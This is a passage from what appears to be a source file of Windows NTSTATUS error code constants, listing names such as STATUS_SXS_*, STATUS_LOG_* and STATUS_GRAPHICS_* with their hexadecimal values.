0xC0150006\nSTATUS_SXS_ACTIVATION_CONTEXT_DISABLED                            = 0xC0150007\nSTATUS_SXS_KEY_NOT_FOUND                                          = 0xC0150008\nSTATUS_SXS_VERSION_CONFLICT                                       = 0xC0150009\nSTATUS_SXS_WRONG_SECTION_TYPE                                     = 0xC015000A\nSTATUS_SXS_THREAD_QUERIES_DISABLED                                = 0xC015000B\nSTATUS_SXS_ASSEMBLY_MISSING                                       = 0xC015000C\nSTATUS_SXS_PROCESS_DEFAULT_ALREADY_SET                            = 0xC015000E\nSTATUS_SXS_EARLY_DEACTIVATION                                     = 0xC015000F\nSTATUS_SXS_INVALID_DEACTIVATION                                   = 0xC0150010\nSTATUS_SXS_MULTIPLE_DEACTIVATION                                  = 0xC0150011\nSTATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY                = 0xC0150012\nSTATUS_SXS_PROCESS_TERMINATION_REQUESTED                          = 0xC0150013\nSTATUS_SXS_CORRUPT_ACTIVATION_STACK                               = 0xC0150014\nSTATUS_SXS_CORRUPTION                                             = 0xC0150015\nSTATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE                       = 0xC0150016\nSTATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME                        = 0xC0150017\nSTATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE                           = 0xC0150018\nSTATUS_SXS_IDENTITY_PARSE_ERROR                                   = 0xC0150019\nSTATUS_SXS_COMPONENT_STORE_CORRUPT                                = 0xC015001A\nSTATUS_SXS_FILE_HASH_MISMATCH                                     = 0xC015001B\nSTATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT          = 0xC015001C\nSTATUS_SXS_IDENTITIES_DIFFERENT                                   = 0xC015001D\nSTATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT                           = 0xC015001E\nSTATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY                              = 0xC015001F\nSTATUS_ADVANCED_INSTALLER_FAILED                                  = 0xC0150020\nSTATUS_XML_ENCODING_MISMATCH                                      = 0xC0150021\nSTATUS_SXS_MANIFEST_TOO_BIG                                       = 0xC0150022\nSTATUS_SXS_SETTING_NOT_REGISTERED                                 = 0xC0150023\nSTATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE                         = 0xC0150024\nSTATUS_SMI_PRIMITIVE_INSTALLER_FAILED                             = 0xC0150025\nSTATUS_GENERIC_COMMAND_FAILED                                     = 0xC0150026\nSTATUS_SXS_FILE_HASH_MISSING                                      = 0xC0150027\nSTATUS_TRANSACTIONAL_CONFLICT                                     = 0xC0190001\nSTATUS_INVALID_TRANSACTION                                        = 0xC0190002\nSTATUS_TRANSACTION_NOT_ACTIVE                                     = 0xC0190003\nSTATUS_TM_INITIALIZATION_FAILED                                   = 0xC0190004\nSTATUS_RM_NOT_ACTIVE                                              = 0xC0190005\nSTATUS_RM_METADATA_CORRUPT                                        = 0xC0190006\nSTATUS_TRANSACTION_NOT_JOINED                                     = 0xC0190007\nSTATUS_DIRECTORY_NOT_RM                                           = 0xC0190008\nSTATUS_TRANSACTIONS_UNSUPPORTED_REMOTE                            = 0xC019000A\nSTATUS_LOG_RESIZE_INVALID_SIZE                                    = 0xC019000B\nSTATUS_REMOTE_FILE_VERSION_MISMATCH                               = 0xC019000C\nSTATUS_CRM_PROTOCOL_ALREADY_EXISTS                                = 0xC019000F\nSTATUS_TRANSACTION_PROPAGATION_FAILED                             = 0xC0190010\nSTATUS_CRM_PROTOCOL_NOT_FOUND                                     = 0xC0190011\nSTATUS_TRANSACTION_SUPERIOR_EXISTS                                = 0xC0190012\nSTATUS_TRANSACTION_REQUEST_NOT_VALID                              = 0xC0190013\nSTATUS_TRANSACTION_NOT_REQUESTED                                  = 0xC0190014\nSTATUS_TRANSACTION_ALREADY_ABORTED                                = 0xC0190015\nSTATUS_TRANSACTION_ALREADY_COMMITTED                              = 0xC0190016\nSTATUS_TRANSACTION_INVALID_MARSHALL_BUFFER                        = 0xC0190017\nSTATUS_CURRENT_TRANSACTION_NOT_VALID                              = 0xC0190018\nSTATUS_LOG_GROWTH_FAILED                                          = 0xC0190019\nSTATUS_OBJECT_NO_LONGER_EXISTS                                    = 0xC0190021\nSTATUS_STREAM_MINIVERSION_NOT_FOUND                               = 0xC0190022\nSTATUS_STREAM_MINIVERSION_NOT_VALID                               = 0xC0190023\nSTATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION        = 0xC0190024\nSTATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT                   = 0xC0190025\nSTATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS                       = 0xC0190026\nSTATUS_HANDLE_NO_LONGER_VALID                                     = 0xC0190028\nSTATUS_LOG_CORRUPTION_DETECTED                                    = 0xC0190030\nSTATUS_RM_DISCONNECTED                                            = 0xC0190032\nSTATUS_ENLISTMENT_NOT_SUPERIOR                                    = 0xC0190033\nSTATUS_FILE_IDENTITY_NOT_PERSISTENT                               = 0xC0190036\nSTATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY                        = 0xC0190037\nSTATUS_CANT_CROSS_RM_BOUNDARY                                     = 0xC0190038\nSTATUS_TXF_DIR_NOT_EMPTY                                          = 0xC0190039\nSTATUS_INDOUBT_TRANSACTIONS_EXIST                                 = 0xC019003A\nSTATUS_TM_VOLATILE                                                = 0xC019003B\nSTATUS_ROLLBACK_TIMER_EXPIRED                                     = 0xC019003C\nSTATUS_TXF_ATTRIBUTE_CORRUPT                                      = 0xC019003D\nSTATUS_EFS_NOT_ALLOWED_IN_TRANSACTION                             = 0xC019003E\nSTATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED                             = 0xC019003F\nSTATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE                      = 0xC0190040\nSTATUS_TRANSACTION_REQUIRED_PROMOTION                             = 0xC0190043\nSTATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION                         = 0xC0190044\nSTATUS_TRANSACTIONS_NOT_FROZEN                                    = 0xC0190045\nSTATUS_TRANSACTION_FREEZE_IN_PROGRESS                             = 0xC0190046\nSTATUS_NOT_SNAPSHOT_VOLUME                                        = 0xC0190047\nSTATUS_NO_SAVEPOINT_WITH_OPEN_FILES                               = 0xC0190048\nSTATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION                          = 0xC0190049\nSTATUS_TM_IDENTITY_MISMATCH                                       = 0xC019004A\nSTATUS_FLOATED_SECTION                                            = 0xC019004B\nSTATUS_CANNOT_ACCEPT_TRANSACTED_WORK                              = 0xC019004C\nSTATUS_CANNOT_ABORT_TRANSACTIONS                                  = 0xC019004D\nSTATUS_TRANSACTION_NOT_FOUND                                      = 0xC019004E\nSTATUS_RESOURCEMANAGER_NOT_FOUND                                  = 0xC019004F\nSTATUS_ENLISTMENT_NOT_FOUND                                       = 0xC0190050\nSTATUS_TRANSACTIONMANAGER_NOT_FOUND                               = 0xC0190051\nSTATUS_TRANSACTIONMANAGER_NOT_ONLINE                              = 0xC0190052\nSTATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION                 = 0xC0190053\nSTATUS_TRANSACTION_NOT_ROOT                                       = 0xC0190054\nSTATUS_TRANSACTION_OBJECT_EXPIRED                                 = 0xC0190055\nSTATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION                     = 0xC0190056\nSTATUS_TRANSACTION_RESPONSE_NOT_ENLISTED                          = 0xC0190057\nSTATUS_TRANSACTION_RECORD_TOO_LONG                                = 0xC0190058\nSTATUS_NO_LINK_TRACKING_IN_TRANSACTION                            = 0xC0190059\nSTATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION                     = 0xC019005A\nSTATUS_TRANSACTION_INTEGRITY_VIOLATED                             = 0xC019005B\nSTATUS_EXPIRED_HANDLE                                             = 0xC0190060\nSTATUS_TRANSACTION_NOT_ENLISTED                                   = 0xC0190061\nSTATUS_LOG_SECTOR_INVALID                                         = 0xC01A0001\nSTATUS_LOG_SECTOR_PARITY_INVALID                                  = 0xC01A0002\nSTATUS_LOG_SECTOR_REMAPPED                                        = 0xC01A0003\nSTATUS_LOG_BLOCK_INCOMPLETE                                       = 0xC01A0004\nSTATUS_LOG_INVALID_RANGE                                          = 0xC01A0005\nSTATUS_LOG_BLOCKS_EXHAUSTED                                       = 0xC01A0006\nSTATUS_LOG_READ_CONTEXT_INVALID                                   = 0xC01A0007\nSTATUS_LOG_RESTART_INVALID                                        = 0xC01A0008\nSTATUS_LOG_BLOCK_VERSION                                          = 0xC01A0009\nSTATUS_LOG_BLOCK_INVALID                                          = 0xC01A000A\nSTATUS_LOG_READ_MODE_INVALID                                      = 0xC01A000B\nSTATUS_LOG_METADATA_CORRUPT                                       = 0xC01A000D\nSTATUS_LOG_METADATA_INVALID                                       = 0xC01A000E\nSTATUS_LOG_METADATA_INCONSISTENT                                  = 0xC01A000F\nSTATUS_LOG_RESERVATION_INVALID                                    = 0xC01A0010\nSTATUS_LOG_CANT_DELETE                                            = 0xC01A0011\nSTATUS_LOG_CONTAINER_LIMIT_EXCEEDED                               = 0xC01A0012\nSTATUS_LOG_START_OF_LOG                                           = 0xC01A0013\nSTATUS_LOG_POLICY_ALREADY_INSTALLED                               = 0xC01A0014\nSTATUS_LOG_POLICY_NOT_INSTALLED                                   = 0xC01A0015\nSTATUS_LOG_POLICY_INVALID                                         = 0xC01A0016\nSTATUS_LOG_POLICY_CONFLICT                                        = 0xC01A0017\nSTATUS_LOG_PINNED_ARCHIVE_TAIL                                    = 0xC01A0018\nSTATUS_LOG_RECORD_NONEXISTENT                                     = 0xC01A0019\nSTATUS_LOG_RECORDS_RESERVED_INVALID                               = 0xC01A001A\nSTATUS_LOG_SPACE_RESERVED_INVALID                                 = 0xC01A001B\nSTATUS_LOG_TAIL_INVALID                                           = 0xC01A001C\nSTATUS_LOG_FULL                                                   = 0xC01A001D\nSTATUS_LOG_MULTIPLEXED                                            = 0xC01A001E\nSTATUS_LOG_DEDICATED                                              = 0xC01A001F\nSTATUS_LOG_ARCHIVE_NOT_IN_PROGRESS                                = 0xC01A0020\nSTATUS_LOG_ARCHIVE_IN_PROGRESS                                    = 0xC01A0021\nSTATUS_LOG_EPHEMERAL                                              = 0xC01A0022\nSTATUS_LOG_NOT_ENOUGH_CONTAINERS                                  = 0xC01A0023\nSTATUS_LOG_CLIENT_ALREADY_REGISTERED                              = 0xC01A0024\nSTATUS_LOG_CLIENT_NOT_REGISTERED                                  = 0xC01A0025\nSTATUS_LOG_FULL_HANDLER_IN_PROGRESS                               = 0xC01A0026\nSTATUS_LOG_CONTAINER_READ_FAILED                                  = 0xC01A0027\nSTATUS_LOG_CONTAINER_WRITE_FAILED                                 = 0xC01A0028\nSTATUS_LOG_CONTAINER_OPEN_FAILED                                  = 0xC01A0029\nSTATUS_LOG_CONTAINER_STATE_INVALID                                = 0xC01A002A\nSTATUS_LOG_STATE_INVALID                                          = 0xC01A002B\nSTATUS_LOG_PINNED                                                 = 0xC01A002C\nSTATUS_LOG_METADATA_FLUSH_FAILED                                  = 0xC01A002D\nSTATUS_LOG_INCONSISTENT_SECURITY                                  = 0xC01A002E\nSTATUS_LOG_APPENDED_FLUSH_FAILED                                  = 0xC01A002F\nSTATUS_LOG_PINNED_RESERVATION                                     = 0xC01A0030\nSTATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD                           = 0xC01B00EA\nSTATUS_FLT_NO_HANDLER_DEFINED                                     = 0xC01C0001\nSTATUS_FLT_CONTEXT_ALREADY_DEFINED                                = 0xC01C0002\nSTATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST                           = 0xC01C0003\nSTATUS_FLT_DISALLOW_FAST_IO                                       = 0xC01C0004\nSTATUS_FLT_INVALID_NAME_REQUEST                                   = 0xC01C0005\nSTATUS_FLT_NOT_SAFE_TO_POST_OPERATION                             = 0xC01C0006\nSTATUS_FLT_NOT_INITIALIZED                                        = 0xC01C0007\nSTATUS_FLT_FILTER_NOT_READY                                       = 0xC01C0008\nSTATUS_FLT_POST_OPERATION_CLEANUP                                 = 0xC01C0009\nSTATUS_FLT_INTERNAL_ERROR                                         = 0xC01C000A\nSTATUS_FLT_DELETING_OBJECT                                        = 0xC01C000B\nSTATUS_FLT_MUST_BE_NONPAGED_POOL                                  = 0xC01C000C\nSTATUS_FLT_DUPLICATE_ENTRY                                        = 0xC01C000D\nSTATUS_FLT_CBDQ_DISABLED                                          = 0xC01C000E\nSTATUS_FLT_DO_NOT_ATTACH                                          = 0xC01C000F\nSTATUS_FLT_DO_NOT_DETACH                                          = 0xC01C0010\nSTATUS_FLT_INSTANCE_ALTITUDE_COLLISION                            = 0xC01C0011\nSTATUS_FLT_INSTANCE_NAME_COLLISION                                = 0xC01C0012\nSTATUS_FLT_FILTER_NOT_FOUND                                       = 0xC01C0013\nSTATUS_FLT_VOLUME_NOT_FOUND                                       = 0xC01C0014\nSTATUS_FLT_INSTANCE_NOT_FOUND                                     = 0xC01C0015\nSTATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND                           = 0xC01C0016\nSTATUS_FLT_INVALID_CONTEXT_REGISTRATION                           = 0xC01C0017\nSTATUS_FLT_NAME_CACHE_MISS                                        = 0xC01C0018\nSTATUS_FLT_NO_DEVICE_OBJECT                                       = 0xC01C0019\nSTATUS_FLT_VOLUME_ALREADY_MOUNTED                                 = 0xC01C001A\nSTATUS_FLT_ALREADY_ENLISTED                                       = 0xC01C001B\nSTATUS_FLT_CONTEXT_ALREADY_LINKED                                 = 0xC01C001C\nSTATUS_FLT_NO_WAITER_FOR_REPLY                                    = 0xC01C0020\nSTATUS_MONITOR_NO_DESCRIPTOR                                      = 0xC01D0001\nSTATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT                          = 0xC01D0002\nSTATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM                        = 0xC01D0003\nSTATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK                      = 0xC01D0004\nSTATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED                  = 0xC01D0005\nSTATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK                 = 0xC01D0006\nSTATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK                 = 0xC01D0007\nSTATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA                            = 0xC01D0008\nSTATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK                      = 0xC01D0009\nSTATUS_MONITOR_INVALID_MANUFACTURE_DATE                           = 0xC01D000A\nSTATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER                          = 0xC01E0000\nSTATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER                           = 0xC01E0001\nSTATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER                           = 0xC01E0002\nSTATUS_GRAPHICS_ADAPTER_WAS_RESET                                 = 0xC01E0003\nSTATUS_GRAPHICS_INVALID_DRIVER_MODEL                              = 0xC01E0004\nSTATUS_GRAPHICS_PRESENT_MODE_CHANGED                              = 0xC01E0005\nSTATUS_GRAPHICS_PRESENT_OCCLUDED                                  = 0xC01E0006\nSTATUS_GRAPHICS_PRESENT_DENIED                                    = 0xC01E0007\nSTATUS_GRAPHICS_CANNOTCOLORCONVERT                                = 0xC01E0008\nSTATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED                      = 0xC01E000B\nSTATUS_GRAPHICS_PRESENT_UNOCCLUDED                                = 0xC01E000C\nSTATUS_GRAPHICS_NO_VIDEO_MEMORY                                   = 0xC01E0100\nSTATUS_GRAPHICS_CANT_LOCK_MEMORY                                  = 0xC01E0101\nSTATUS_GRAPHICS_ALLOCATION_BUSY                                   = 0xC01E0102\nSTATUS_GRAPHICS_TOO_MANY_REFERENCES                               = 0xC01E0103\nSTATUS_GRAPHICS_TRY_AGAIN_LATER                                   = 0xC01E0104\nSTATUS_GRAPHICS_TRY_AGAIN_NOW                                     = 0xC01E0105\nSTATUS_GRAPHICS_ALLOCATION_INVALID                                = 0xC01E0106\nSTATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE                  = 0xC01E0107\nSTATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED                  = 0xC01E0108\nSTATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION                      = 0xC01E0109\nSTATUS_GRAPHICS_INVALID_ALLOCATION_USAGE                          = 0xC01E0110\nSTATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION                     = 0xC01E0111\nSTATUS_GRAPHICS_ALLOCATION_CLOSED                                 = 0xC01E0112\nSTATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE                       = 0xC01E0113\nSTATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE                         = 0xC01E0114\nSTATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE                           = 0xC01E0115\nSTATUS_GRAPHICS_ALLOCATION_CONTENT_LOST                           = 0xC01E0116\nSTATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE                           = 0xC01E0200\nSTATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY                            = 0xC01E0300\nSTATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED                      = 0xC01E0301\nSTATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED            = 0xC01E0302\nSTATUS_GRAPHICS_INVALID_VIDPN                                     = 0xC01E0303\nSTATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE                      = 0xC01E0304\nSTATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET                      = 0xC01E0305\nSTATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED                      = 0xC01E0306\nSTATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET                       = 0xC01E0308\nSTATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET                       = 0xC01E0309\nSTATUS_GRAPHICS_INVALID_FREQUENCY                                 = 0xC01E030A\nSTATUS_GRAPHICS_INVALID_ACTIVE_REGION                             = 0xC01E030B\nSTATUS_GRAPHICS_INVALID_TOTAL_REGION                              = 0xC01E030C\nSTATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE                 = 0xC01E0310\nSTATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE                 = 0xC01E0311\nSTATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET                    = 0xC01E0312\nSTATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY                          = 0xC01E0313\nSTATUS_GRAPHICS_MODE_ALREADY_IN_MODESET                           = 0xC01E0314\nSTATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET                     = 0xC01E0315\nSTATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET                     = 0xC01E0316\nSTATUS_GRAPHICS_SOURCE_ALREADY_IN_SET                             = 0xC01E0317\nSTATUS_GRAPHICS_TARGET_ALREADY_IN_SET                             = 0xC01E0318\nSTATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH                        = 0xC01E0319\nSTATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY                     = 0xC01E031A\nSTATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET                 = 0xC01E031B\nSTATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE                    = 0xC01E031C\nSTATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET                         = 0xC01E031D\nSTATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET                     = 0xC01E031F\nSTATUS_GRAPHICS_STALE_MODESET                                     = 0xC01E0320\nSTATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET                     = 0xC01E0321\nSTATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE                       = 0xC01E0322\nSTATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN                   = 0xC01E0323\nSTATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE                            = 0xC01E0324\nSTATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION   = 0xC01E0325\nSTATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES           = 0xC01E0326\nSTATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY                              = 0xC01E0327\nSTATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE             = 0xC01E0328\nSTATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET             = 0xC01E0329\nSTATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET                      = 0xC01E032A\nSTATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR                         = 0xC01E032B\nSTATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET                      = 0xC01E032C\nSTATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET                  = 0xC01E032D\nSTATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE               = 0xC01E032E\nSTATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE                  = 0xC01E032F\nSTATUS_GRAPHICS_RESOURCES_NOT_RELATED                             = 0xC01E0330\nSTATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE                          = 0xC01E0331\nSTATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE                          = 0xC01E0332\nSTATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET                         = 0xC01E0333\nSTATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER      = 0xC01E0334\nSTATUS_GRAPHICS_NO_VIDPNMGR                                       = 0xC01E0335\nSTATUS_GRAPHICS_NO_ACTIVE_VIDPN                                   = 0xC01E0336\nSTATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY                              = 0xC01E0337\nSTATUS_GRAPHICS_MONITOR_NOT_CONNECTED                             = 0xC01E0338\nSTATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY                            = 0xC01E0339\nSTATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE                       = 0xC01E033A\nSTATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE                        = 0xC01E033B\nSTATUS_GRAPHICS_INVALID_STRIDE                                    = 0xC01E033C\nSTATUS_GRAPHICS_INVALID_PIXELFORMAT                               = 0xC01E033D\nSTATUS_GRAPHICS_INVALID_COLORBASIS                                = 0xC01E033E\nSTATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE                      = 0xC01E033F\nSTATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY                            = 0xC01E0340\nSTATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT                = 0xC01E0341\nSTATUS_GRAPHICS_VIDPN_SOURCE_IN_USE                               = 0xC01E0342\nSTATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN                          = 0xC01E0343\nSTATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL                   = 0xC01E0344\nSTATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION      = 0xC01E0345\nSTATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED = 0xC01E0346\nSTATUS_GRAPHICS_INVALID_GAMMA_RAMP                                = 0xC01E0347\nSTATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED                          = 0xC01E0348\nSTATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED                       = 0xC01E0349\nSTATUS_GRAPHICS_MODE_NOT_IN_MODESET                               = 0xC01E034A\nSTATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON      = 0xC01E034D\nSTATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE                         = 0xC01E034E\nSTATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE                       = 0xC01E034F\nSTATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS                 = 0xC01E0350\nSTATUS_GRAPHICS_INVALID_SCANLINE_ORDERING                         = 0xC01E0352\nSTATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED                      = 0xC01E0353\nSTATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS                  = 0xC01E0354\nSTATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT                       = 0xC01E0355\nSTATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM                    = 0xC01E0356\nSTATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN                 = 0xC01E0357\nSTATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT         = 0xC01E0358\nSTATUS_GRAPHICS_MAX_NUM_PATHS_REACHED                             = 0xC01E0359\nSTATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION                = 0xC01E035A\nSTATUS_GRAPHICS_INVALID_CLIENT_TYPE                               = 0xC01E035B\nSTATUS_GRAPHICS_CLIENTVIDPN_NOT_SET                               = 0xC01E035C\nSTATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED                 = 0xC01E0400\nSTATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED                    = 0xC01E0401\nSTATUS_GRAPHICS_NOT_A_LINKED_ADAPTER                              = 0xC01E0430\nSTATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED                           = 0xC01E0431\nSTATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED                         = 0xC01E0432\nSTATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY                           = 0xC01E0433\nSTATUS_GRAPHICS_CHAINLINKS_NOT_STARTED                            = 0xC01E0434\nSTATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON                         = 0xC01E0435\nSTATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE                    = 0xC01E0436\nSTATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER                            = 0xC01E0438\nSTATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED                       = 0xC01E043B\nSTATUS_GRAPHICS_OPM_NOT_SUPPORTED                                 = 0xC01E0500\nSTATUS_GRAPHICS_COPP_NOT_SUPPORTED                                = 0xC01E0501\nSTATUS_GRAPHICS_UAB_NOT_SUPPORTED                                 = 0xC01E0502\nSTATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS                  = 0xC01E0503\nSTATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL                     = 0xC01E0504\nSTATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST                    = 0xC01E0505\nSTATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME         = 0xC01E0506\nSTATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP        = 0xC01E0507\nSTATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED               = 0xC01E0508\nSTATUS_GRAPHICS_OPM_INVALID_POINTER                               = 0xC01E050A\nSTATUS_GRAPHICS_OPM_INTERNAL_ERROR                                = 0xC01E050B\nSTATUS_GRAPHICS_OPM_INVALID_HANDLE                                = 0xC01E050C\nSTATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE      = 0xC01E050D\nSTATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH                    = 0xC01E050E\nSTATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED                         = 0xC01E050F\nSTATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED                          = 0xC01E0510\nSTATUS_GRAPHICS_PVP_HFS_FAILED                                    = 0xC01E0511\nSTATUS_GRAPHICS_OPM_INVALID_SRM                                   = 0xC01E0512\nSTATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP                  = 0xC01E0513\nSTATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP                   = 0xC01E0514\nSTATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA                 = 0xC01E0515\nSTATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET                            = 0xC01E0516\nSTATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH                           = 0xC01E0517\nSTATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE              = 0xC01E0518\nSTATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS             = 0xC01E051A\nSTATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS               = 0xC01E051B\nSTATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS = 0xC01E051C\nSTATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST                   = 0xC01E051D\nSTATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR                         = 0xC01E051E\nSTATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS  = 0xC01E051F\nSTATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED                       = 0xC01E0520\nSTATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST                 = 0xC01E0521\nSTATUS_GRAPHICS_I2C_NOT_SUPPORTED                                 = 